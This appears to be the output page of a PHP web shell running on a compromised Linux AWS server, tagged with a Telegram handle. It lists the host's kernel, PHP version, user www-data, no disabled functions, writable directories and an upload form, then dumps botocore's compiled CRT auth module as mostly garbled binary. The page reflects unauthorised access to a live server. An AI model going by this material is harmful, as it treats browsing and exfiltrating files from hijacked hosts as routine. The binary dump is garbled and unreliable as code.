https://t.me/RX1948
Server : nginx/1.24.0
System : Linux ip-172-31-33-48 6.14.0-1011-aws #11~24.04.1-Ubuntu SMP Fri Aug 1 02:07:25 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
Directory :  /lib/python3/dist-packages/botocore/crt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/botocore/crt/__pycache__/auth.cpython-312.pyc
�

P��e�b��0�ddlZddlmZddlmZmZmZmZmZm	Z	ddl
mZmZm
Z
mZmZddlmZddlmZGd�de�ZGd	�d
e�ZGd�de�ZGd
�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�Zeeeeeeed�Zy)�N)�BytesIO)�SIGNED_HEADERS_BLACKLIST�"STREAMING_UNSIGNED_PAYLOAD_TRAILER�UNSIGNED_PAYLOAD�
BaseSigner�_get_body_as_dict�_host_from_url)�HTTPHeaders�awscrt�parse_qs�urlsplit�
urlunsplit)�NoCredentialsError)�percent_encode_sequencec��eZdZdZgd�ZejjjZ	dZ
dZd�Zd�Z
d�Zd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zy
)�CrtSigV4AuthT��
Authorizationz
X-Amz-Date�X-Amz-Content-SHA256zX-Amz-Security-Tokenc�<�||_||_||_d|_y�N��credentials�
_service_name�_region_name�_expiration_in_seconds��selfr�service_name�region_names    �3/usr/lib/python3/dist-packages/botocore/crt/auth.py�__init__zCrtSigV4Auth.__init__*�"��&���)���'���&*��#�c��|jjdi�}|jd�}t|t�xr|jd�dk(S�N�checksum�request_algorithm�in�trailer��context�get�
isinstance�dict�r�request�checksum_context�	algorithms    r!�_is_streaming_checksum_payloadz+CrtSigV4Auth._is_streaming_checksum_payload0�J��"�?�?�.�.�z�2�>��$�(�(�)<�=�	��)�T�*�O�y�}�}�T�/B�i�/O�Or$c��|j�
t��tjj�j	tj
j��}|j|�}|j|�tjjj|jj|jj|jj��}|j!|�rt"}n|j%|�r|r|}n	d}nt&}|j)|�r%tjj*j,}n$tjj*j.}tjj1tjj2j4|j6||j8|j:||j<|j>|j@|||jB��}|jE|�}tjjG||�}	|	jI�|jK||�y�N)�tzinfo)�
access_key_id�secret_access_key�
session_token)r3�signature_type�credentials_provider�region�service�date�should_sign_header�use_double_uri_encode�should_normalize_uri_path�signed_body_value�signed_body_header_type�expiration_in_seconds)&rr�datetime�utcnow�replace�timezone�utc�_get_existing_sha256�_modify_request_before_signingr�auth�AwsCredentialsProvider�
new_static�
access_key�
secret_key�tokenr4r�_should_sha256_sign_payloadr�!_should_add_content_sha256_header�AwsSignedBodyHeaderType�X_AMZ_CONTENT_SHA_256�NONE�AwsSigningConfig�AwsSigningAlgorithm�V4�_SIGNATURE_TYPErr�_should_sign_header�_USE_DOUBLE_URI_ENCODE�_SHOULD_NORMALIZE_URI_PATHr�_crt_request_from_aws_request�aws_sign_request�result�_apply_signing_changes�
rr1�datetime_now�existing_sha256r=�explicit_payload�body_header�signing_config�crt_request�futures
          r!�add_authzCrtSigV4Auth.add_auth5s������#�$�&�&� �(�(�/�/�1�9�9��$�$�(�(�:�
��
�3�3�G�<���+�+�G�4�%�{�{�A�A�L�L��*�*�5�5�"�.�.�9�9��*�*�0�0� M� 
���.�.�w�7�A��
�
-�
-�g�
6��#2� �#'� �/���1�1�2B�C����3�3�I�I�
�!�+�+�=�=�B�B�K����5�5��k�k�5�5�8�8��/�/�!5��$�$��&�&��#�7�7�"&�"=�"=�&*�&E�&E�.�$/�"&�"=�"=�6�

���8�8��A�����-�-�k�>�J���
�
���#�#�G�[�9r$c���t|j�}|jr|jnd}|jr]g}|jj	�D]&\}}t|�}|j
|�d|����(|dzdj|�z}n|jr|�d|j��}tjj|jj	��}d}|jr8t|jd�r
|j}nt|j�}tjj!|j"|||��}	|	S�N�/�=�?�&�seek)�method�path�headers�body_stream�r
�urlru�params�items�str�append�join�queryr�http�HttpHeadersrv�body�hasattrr�HttpRequestrt�
r�aws_request�	url_parts�crt_path�array�param�value�crt_headers�crt_body_streamrjs
          r!r`z*CrtSigV4Auth._crt_request_from_aws_requestn�6���[�_�_�-�	�%.�^�^�9�>�>�������E� +� 2� 2� 8� 8� :�
1���u��E�
������w�a��w�/�0�
1� �#�~������7�H�
�_�_�"��1�Y�_�_�$5�6�H��k�k�-�-�k�.A�.A�.G�.G�.I�J��������{�'�'��0�"-�"2�"2��")�+�*:�*:�";���k�k�-�-��%�%���'�	.�
���r$c�^�tjt|j��|_yr�r
�
from_pairs�listrv�rr��signed_crt_requests   r!rcz#CrtSigV4Auth._apply_signing_changes��$��)�4�4��#�+�+�,�
��r$c�.�|j�tvSr��lowerr�r�name�kwargss   r!r]z CrtSigV4Auth._should_sign_header�����z�z�|�#;�;�;r$c��|jD]}||jvs�|j|=� d|jvr#t|j�|jd<yy�N�host��_PRESIGNED_HEADERS_BLOCKLISTrvr	ry�rr1�hs   r!rMz+CrtSigV4Auth._modify_request_before_signing��[���2�2�	'�A��G�O�O�#��O�O�A�&�	'�����(�&4�W�[�[�&A�G�O�O�F�#�)r$c�8�|jjd�S�Nr�rvr-�rr1s  r!rLz!CrtSigV4Auth._get_existing_sha256�������"�"�#9�:�:r$c�r�|jjd�sy|jjdd�S�N�httpsT�payload_signing_enabled�ry�
startswithr,r-r�s  r!rTz(CrtSigV4Auth._should_sha256_sign_payload��1���{�{�%�%�g�.��
���"�"�#<�d�C�Cr$c�
�|duSr��rrgs  r!rUz.CrtSigV4Auth._should_add_content_sha256_header��
���t�+�+r$N)�__name__�
__module__�__qualname__�REQUIRES_REGIONr�rrN�AwsSignatureType�HTTP_REQUEST_HEADERSr\r^r_r"r4rlr`rcr]rMrLrTrUr�r$r!rrsh���O�$� ��k�k�2�2�G�G�O�!��!%��+�P�
7:�r�<
�<�B�;�D�,r$rc�2��eZdZdZdZd�Z�fd�Zd�Z�xZS)�CrtS3SigV4AuthFc��yrr�r�s  r!rLz#CrtS3SigV4Auth._get_existing_sha256����r$c����|jjd�}t|dd�}|�i}|jdd�}|�|Sd}|jjdi�}|jd�}t|t�r|jd�dk(r|d	}|j
j
d
�r||jvry|jjdd
�ry
t�|�%|�S)N�
client_config�s3r��Content-MD5r'r(r)�headerr�r�T�has_streaming_inputF)
r,r-�getattrr.r/ryr�rv�superrT)	rr1r��	s3_config�sign_payload�checksum_headerr2r3�	__class__s	        �r!rTz*CrtS3SigV4Auth._should_sha256_sign_payload�s���� ���+�+�O�<�
��M�4��6�	����I�!�}�}�%>��E���#���(��"�?�?�.�.�z�2�>��$�(�(�)<�=�	��i��&�9�=�=��+>�(�+J�'��/�O����&�&�w�/��g�o�o�5���?�?���4�e�<���w�2�7�;�;r$c��y�NTr�r�s  r!rUz0CrtS3SigV4Auth._should_add_content_sha256_header�r�r$�	r�r�r�r^r_rLrTrU�
__classcell__�r�s@r!r�r��s���"��!&���'<�Rr$r�c��eZdZdZgd�ZejjjZ	dZ
dZd�Zd�Z
d�Zd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zy
)�CrtSigV4AsymAuthTrc�<�||_||_||_d|_yrrrs    r!r"zCrtSigV4AsymAuth.__init__�r#r$c��|j�
t��tjj�j	tj
j��}|j|�}|j|�tjjj|jj|jj|jj��}|j!|�rt"}n|j%|�r|r|}n	d}nt&}|j)|�r%tjj*j,}n$tjj*j.}tjj1tjj2j4|j6||j8|j:||j<|j>|j@|||jB��}|jE|�}tjjG||�}	|	jI�|jK||�yr7)&rrrGrHrIrJrKrLrMrrNrOrPrQrRrSr4rrTrrUrVrWrXrYrZ�
V4_ASYMMETRICr\rrr]r^r_rr`rarbrcrds
          r!rlzCrtSigV4AsymAuth.add_auth�s������#�$�&�&� �(�(�/�/�1�9�9��$�$�(�(�:�
��
�3�3�G�<���+�+�G�4�%�{�{�A�A�L�L��*�*�5�5�"�.�.�9�9��*�*�0�0� M� 
���.�.�w�7�A��
�
-�
-�g�
6��#2� �#'� �/���1�1�2B�C����3�3�I�I�
�!�+�+�=�=�B�B�K����5�5��k�k�5�5�C�C��/�/�!5��$�$��&�&��#�7�7�"&�"=�"=�&*�&E�&E�.�$/�"&�"=�"=�6�

���8�8��A�����-�-�k�>�J���
�
���#�#�G�[�9r$c���t|j�}|jr|jnd}|jr]g}|jj	�D]&\}}t|�}|j
|�d|����(|dzdj|�z}n|jr|�d|j��}tjj|jj	��}d}|jr8t|jd�r
|j}nt|j�}tjj!|j"|||��}	|	Srnrxr�s
          r!r`z.CrtSigV4AsymAuth._crt_request_from_aws_request3r�r$c�^�tjt|j��|_yrr�r�s   r!rcz'CrtSigV4AsymAuth._apply_signing_changesQr�r$c�.�|j�tvSrr�r�s   r!r]z$CrtSigV4AsymAuth._should_sign_headerWr�r$c��|jD]}||jvs�|j|=� d|jvr#t|j�|jd<yyr�r�r�s   r!rMz/CrtSigV4AsymAuth._modify_request_before_signingZr�r$c�8�|jjd�Sr�r�r�s  r!rLz%CrtSigV4AsymAuth._get_existing_sha256dr�r$c��|jjdi�}|jd�}t|t�xr|jd�dk(Sr&r+r0s    r!r4z/CrtSigV4AsymAuth._is_streaming_checksum_payloadgr5r$c�r�|jjd�sy|jjdd�Sr�r�r�s  r!rTz,CrtSigV4AsymAuth._should_sha256_sign_payloadlr�r$c�
�|duSrr�r�s  r!rUz2CrtSigV4AsymAuth._should_add_content_sha256_headervr�r$N)r�r�r�r�r�rrNr�r�r\r^r_r"rlr`rcr]rMrLr4rTrUr�r$r!r�r��sh���O�$� ��k�k�2�2�G�G�O�!��!%��+�7:�r�<
�<�B�;�P�
D�,r$r�c�2��eZdZdZdZd�Z�fd�Zd�Z�xZS)�CrtS3SigV4AsymAuthFc��yrr�r�s  r!rLz'CrtS3SigV4AsymAuth._get_existing_sha256�r�r$c�4��|jjd�}t|dd�}|�i}|jdd�}|�|S|jj	d�rd|j
vry|jjdd�ryt�|�|�S)	Nr�r�r�r�r�Tr�F)r,r-r�ryr�rvr�rT)rr1r�r�r�r�s     �r!rTz.CrtS3SigV4AsymAuth._should_sha256_sign_payload�s���� ���+�+�O�<�
��M�4��6�	����I�!�}�}�%>��E���#������&�&�w�/��G�O�O�3���?�?���4�e�<���w�2�7�;�;r$c��yr�r�r�s  r!rUz4CrtS3SigV4AsymAuth._should_add_content_sha256_header�r�r$r�r�s@r!r�r�{s���"��!&���"<�Hr$r�c�z��eZdZdZej
jjZef�fd�	Z	�fd�Z
�fd�Z�xZS)�CrtSigV4AsymQueryAuth�c�6��t�|�|||�||_yr�r�r"r�rrrr �expiresr�s     �r!r"zCrtSigV4AsymQueryAuth.__init__�����	����l�K�@�&-��#r$c����t�|�|�|jjd�}|dk(r
|jd=t	|j
�}t
|jd��}|j�D��cic]\}}||d��
}}}|jr!|jt|��d|_	t|�}|}	|	d|	d|	d||	d	f}
t|
�|_ycc}}w�
Nzcontent-typez0application/x-www-form-urlencoded; charset=utf-8T)�keep_blank_valuesr����)r�rMrvr-r
ryrrr{�data�updaterrr)rr1�content_typer��query_string_parts�k�v�
query_dict�new_query_string�p�
new_url_partsr�s           �r!rMz4CrtSigV4AsymQueryAuth._modify_request_before_signing�s����
��.�w�7����*�*�>�:���M�M�����/��W�[�[�)�	�&�i�o�o��N��*<�*B�*B�*D�E�$�!�Q�a��1��g�E�
�E��<�<�
���/��8�9��G�L�2�:�>��
���1��q��t�Q�q�T�+;�Q�q�T�B�
� ��/����1Fs�=C.c����t�|�||�t|j�j}t|j
�}t
|d|d|d||df�|_y�Nrr�r�r��r�rcr
rurryr�rr�r��signed_queryr�r�s     �r!rcz,CrtSigV4AsymQueryAuth._apply_signing_changes��a���
��&�{�4F�G�� 2� 7� 7�8�>�>���[�_�_�%��%�a��d�A�a�D�!�A�$��a��d�%K�L��r$�
r�r�r��DEFAULT_EXPIRESrrNr��HTTP_REQUEST_QUERY_PARAMSr\r"rMrcr�r�s@r!r�r��s:����O��k�k�2�2�L�L�O�?N�.�(0�TM�Mr$r�c�$�eZdZdZdZdZd�Zd�Zy)�CrtS3SigV4AsymQueryAuthz�S3 SigV4A auth using query parameters.
    This signer will sign a request using query parameters and signature
    version 4A, i.e a "presigned url" signer.
    Fc��y�NFr�r�s  r!rTz3CrtS3SigV4AsymQueryAuth._should_sha256_sign_payload����
r$c��yrr�r�s  r!rUz9CrtS3SigV4AsymQueryAuth._should_add_content_sha256_header���r$N�r�r�r��__doc__r^r_rTrUr�r$r!rr�s���#��!&���r$rc�z��eZdZdZej
jjZef�fd�	Z	�fd�Z
�fd�Z�xZS)�CrtSigV4QueryAuthr�c�6��t�|�|||�||_yrr�r�s     �r!r"zCrtSigV4QueryAuth.__init__r�r$c�@��t�
|�|�|jjd�}|dk(r
|jd=t	|j
�}t
|jd��j�D��cic]\}}||d��
}}}|jr"|j|j�i|_	|jr!|jt|��d|_t|�}|}|d|d|d||d	f}	t|	�|_ycc}}wr�)r�rMrvr-r
ryrrr{rzr�r�rrr)rr1r�r�r�r�r�r�r�r�r�s          �r!rMz0CrtSigV4QueryAuth._modify_request_before_signings���
��.�w�7����*�*�>�:���M�M�����/��W�[�[�)�	�!����4���e�g�	
���1�
�q��t�G�
�
�
��>�>����g�n�n�-��G�N��<�<�
���/��8�9��G�L�2�:�>��
���1��q��t�Q�q�T�+;�Q�q�T�B�
� ��/����?
s�;Dc����t�|�||�t|j�j}t|j
�}t
|d|d|d||df�|_yr�r�r�s     �r!rcz(CrtSigV4QueryAuth._apply_signing_changesBrr$rr�s@r!rrs:����O��k�k�2�2�L�L�O�?N�.�.0�`M�Mr$rc�$�eZdZdZdZdZd�Zd�Zy)�CrtS3SigV4QueryAuthaS3 SigV4 auth using query parameters.
    This signer will sign a request using query parameters and signature
    version 4, i.e a "presigned url" signer.
    Based off of:
    http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html
    Fc��yrr�r�s  r!rTz/CrtS3SigV4QueryAuth._should_sha256_sign_payload_rr$c��yrr�r�s  r!rUz5CrtS3SigV4QueryAuth._should_add_content_sha256_headerfr
r$Nrr�r$r!rrSs���#��!&���r$r)�v4zv4-query�v4a�s3v4z
s3v4-query�s3v4azs3v4a-query)rG�ior�
botocore.authrrrrrr	�botocore.compatr
rrr
r�botocore.exceptionsr�botocore.utilsrrr�r�r�r�rrr�CRT_AUTH_TYPE_MAPSr�r$r!�<module>r s�������P�O�2�2�P,�:�P,�f4�\�4�nP,�z�P,�f/�)�/�dBM�,�BM�J�3��,HM��HM�V�+��6�!���%�
�*��r$

https://t.me/RX1948 - 2025